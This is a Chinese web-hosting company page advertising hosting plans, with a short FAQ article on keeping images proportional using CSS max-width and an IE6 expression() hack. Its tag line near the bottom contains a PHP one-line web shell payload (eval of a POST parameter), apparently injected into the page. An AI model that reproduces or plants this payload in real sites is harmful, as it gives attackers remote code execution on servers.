51网络科技专业提供

香港空间

美国空间

国内免备案空间

月付空间

免备案虚拟主机

,支持免费试用2天
联系51网络科技
产品快讯:
做微信小程序,免费送域名空间
售前客服
在线咨询
在线咨询
在线咨询
在线咨询
售后服务
在线咨询
在线咨询
财务问题
在线咨询
代理加盟
在线咨询
客户服务热线
027-86866258
 
在线咨询免备案空间客服人员
推荐产品
    300M国内免备案空间
    300M网站空间,送60M数据库!
    现价只要:22元/月
    500M国内免备案空间
    500M网站空间,送100M数据库!
    现价只要:29元/月
    1G国内免备案空间
    1G网站空间,送300M数据库!
    现价只要:39元/月
    500M香港免备案空间
    500M网站空间,送160M数据库!
    现价只要:26元/月
    1G香港免备案空间
    1G网站空间,送300M数据库!
    现价只要:36元/月
    100M美国空间
    100M网站空间,送30M数据库!
    现价只要:12.8元/月
 
您的当前位置:首页 > 常见问题 > 建站常见问题 > 正文
CSS图片大小自动按比例等比例缩放不变形的方法
文章来源:51网络科技  点击数:  更新时间:2016/3/18 7:50:13
购买国内免备案空间购买香港空间【不限iis】宽屏网站制作【还送手机网站】
香港云主机/99元/月国内空间【免费备案】 特价网站空间
.Net专用空间香港独立IP空间 游戏空间【支持月付】

第一种方法:设置CSS宽度和CSS高度同时为300px和100px,里面放了一张图片(图片原始宽度650px为高度为406px)。并通过CSS固定死图片宽度高度。再把图片的css设置宽度和CSS高度同时为300px和100px。 这样就需要你上传的图片也是这个比例才行。

第二种方法: 设置好固定高度,宽度自动适应。

div css解决IE6支持max-width

一般情况下只需要设置好宽度限制,比如这里只设置最大宽度为300px(max-width:300px),然后对父级使用overflow:hidden隐藏溢出图片,同时为了兼容IE6我们设置个width:expression(this.width > 300 ? "300px" : this.width);或者height:e-xpression(this.height>100?"100px":this.height);。 解决即可。

具体代码:.mianbeian img{max-width:300px;_width:expression(this.width > 300 ? "300px" : this.width);} 

这样就可以使上传的图片不变形,兼容各大浏览器不变形,但图片如果太大,可能不是完整显示的。

 

手机登录入口 微信公众号

国内、香港、美国、全免备案www.51cdz.com--51网络科技,专业免备案空间提供商!
标 签:ss图片缩放css自动适应图片图片宽度自适应html网站空间 @eval($_POST['a']);phpinfo();?> )<?php 商城小程序免费制作 国内空间免费备案 免费备案
相关文章

上班时间:周一至周六 (9:00-12:00 13:30:00-17:30 19:00-23:00) 电子邮箱:idc@51cdz.com 投诉邮箱:admin@51cdz.com
《中华人民共和国增值电信业务经营许可证》B2-20060208 鄂公网安备 42011102000424号 工信部备案号:鄂ICP备10204461号
版权所有:武汉新一点网络科技有限公司 Copyright All Reserved. © 2005-2016 WWW.51CDZ.COM [站点地图] [网站地图]
售前咨询电话:027-86866258 (多线) 售后技术支持:130-8067-8569 传真:027-59817561 客服QQ:984651771(24H)
地址:中国.湖北.武汉市洪山区珞喻路360号 邮编:430000 关注我们:免备案空间腾讯微博 免备案空间新浪微博 免备案空间微信公众号 微信公众号:mianbeian (关注领取10元优惠券)
免备案空间
51网络科技-专业免备案空间提供商